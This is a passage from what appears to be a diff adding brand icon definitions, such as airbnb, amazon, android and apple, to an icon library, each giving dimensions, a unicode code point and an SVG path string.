32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z" ], + accusoft: [ 640, 512, [], "f369", "M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z" ], + "acquisitions-incorporated": [ 384, 512, [], "f6af", "M357.45 468.2c-1.2-7.7-1.3-7.6-9.6-7.6-99.8.2-111.8-2.4-112.7-2.6-12.3-1.7-20.6-10.5-21-23.1-.1-1.6-.2-71.6-1-129.1-.1-4.7 1.6-6.4 5.9-7.5 12.5-3 24.9-6.1 37.3-9.7 4.3-1.3 6.8-.2 8.4 3.5 4.5 10.3 8.8 20.6 13.2 30.9 1.6 3.7.1 4.4-3.4 4.4-10-.2-20-.1-30.4-.1v27h116c-1.4-9.5-2.7-18.1-4-27.5-7 0-13.8.4-20.4-.1-22.6-1.6-18.3-4.4-84-158.6-8.8-20.1-27.9-62.1-36.5-89.2-4.4-14 5.5-25.4 18.9-26.6 18.6-1.7 37.5-1.6 56.2-2 20.6-.4 41.2-.4 61.8-.5 3.1 0 4-1.4 4.3-4.3 1.2-9.8 2.7-19.5 4-29.2.8-5.3 1.6-10.7 2.4-16.1L23.75 0c-3.6 0-5.3 1.1-4.6 5.3 2.2 13.2-.8.8 6.4 45.3 63.4 0 71.8.9 101.8.5 12.3-.2 37 3.5 37.7 22.1.4 11.4-1.1 11.3-32.6 87.4-53.8 129.8-50.7 120.3-67.3 161-1.7 4.1-3.6 5.2-7.6 5.2-8.5-.2-17-.3-25.4.1-1.9.1-5.2 1.8-5.5 3.2-1.5 8.1-2.2 16.3-3.2 24.9h114.3v-27.6c-6.9 0-33.5.4-35.3-2.9 5.3-12.3 10.4-24.4 15.7-36.7 16.3 4 31.9 7.8 47.6 11.7 3.4.9 4.6 3 4.6 6.8-.1 42.9.1 85.9.2 128.8 0 10.2-5.5 19.1-14.9 23.1-6.5 2.7-3.3 3.4-121.4 2.4-5.3 0-7.1 2-7.6 6.8-1.5 12.9-2.9 25.9-5 38.8-.8 5 1.3 5.7 5.3 5.7 183.2.6-30.7 0 337.1 0-2.5-15-4.4-29.4-6.6-43.7zm-174.9-205.7c-13.3-4.2-26.6-8.2-39.9-12.5a44.53 44.53 0 0 1-5.8-2.9c17.2-44.3 34.2-88.1 51.3-132.1 7.5 2.4 7.9-.8 9.4 0 9.3 22.5 18.1 60.1 27 82.8 6.6 16.7 13 33.5 19.7 50.9a35.78 35.78 0 0 1-3.9 2.1c-13.1 3.9-26.4 7.5-39.4 11.7a27.66 27.66 0 0 1-18.4 0z" ], + adn: [ 496, 512, [], "f170", "M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z" ], + adversal: [ 512, 512, [], "f36a", "M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z" ], + affiliatetheme: [ 512, 512, [], "f36b", "M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z" ], + airbnb: [ 448, 512, [], "f834", "M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z" ], + algolia: [ 448, 512, [], "f36c", "M229.3 182.6c-49.3 0-89.2 39.9-89.2 89.2 0 49.3 39.9 89.2 89.2 89.2s89.2-39.9 89.2-89.2c0-49.3-40-89.2-89.2-89.2zm62.7 56.6l-58.9 30.6c-1.8.9-3.8-.4-3.8-2.3V201c0-1.5 1.3-2.7 2.7-2.6 26.2 1 48.9 15.7 61.1 37.1.7 1.3.2 3-1.1 3.7zM389.1 32H58.9C26.4 32 0 58.4 0 90.9V421c0 32.6 26.4 59 58.9 59H389c32.6 0 58.9-26.4 58.9-58.9V90.9C448 58.4 421.6 32 389.1 32zm-202.6 84.7c0-10.8 8.7-19.5 19.5-19.5h45.3c10.8 0 19.5 8.7 19.5 19.5v15.4c0 1.8-1.7 3-3.3 2.5-12.3-3.4-25.1-5.1-38.1-5.1-13.5 0-26.7 1.8-39.4 5.5-1.7.5-3.4-.8-3.4-2.5v-15.8zm-84.4 37l9.2-9.2c7.6-7.6 19.9-7.6 27.5 0l7.7 7.7c1.1 1.1 1 3-.3 4-6.2 4.5-12.1 9.4-17.6 14.9-5.4 5.4-10.4 11.3-14.8 17.4-1 1.3-2.9 1.5-4 .3l-7.7-7.7c-7.6-7.5-7.6-19.8 0-27.4zm127.2 244.8c-70 0-126.6-56.7-126.6-126.6s56.7-126.6 126.6-126.6c70 0 126.6 56.6 126.6 126.6 0 69.8-56.7 126.6-126.6 126.6z" ], + alipay: [ 448, 512, [], "f642", "M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z" ], + amazon: [ 448, 512, [], "f270", "M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z" ], + "amazon-pay": [ 640, 512, [], "f42c", "M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z" ], + amilia: [ 448, 512, [], "f36d", "M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z" ], + android: [ 576, 512, [], "f17b", "M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55" ], + angellist: [ 448, 512, [], "f209", "M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z" ], + angrycreative: [ 640, 512, [], "f36e", "M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z" ], + angular: [ 448, 512, [], "f420", "M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z" ], + "app-store": [ 512, 512, [], "f36f", "M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z" ], + "app-store-ios": [ 448, 512, [], "f370", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z" ], + apper: [ 640, 512, [], "f371", "M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z" ], + apple: [ 384, 512, [], "f179", "M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 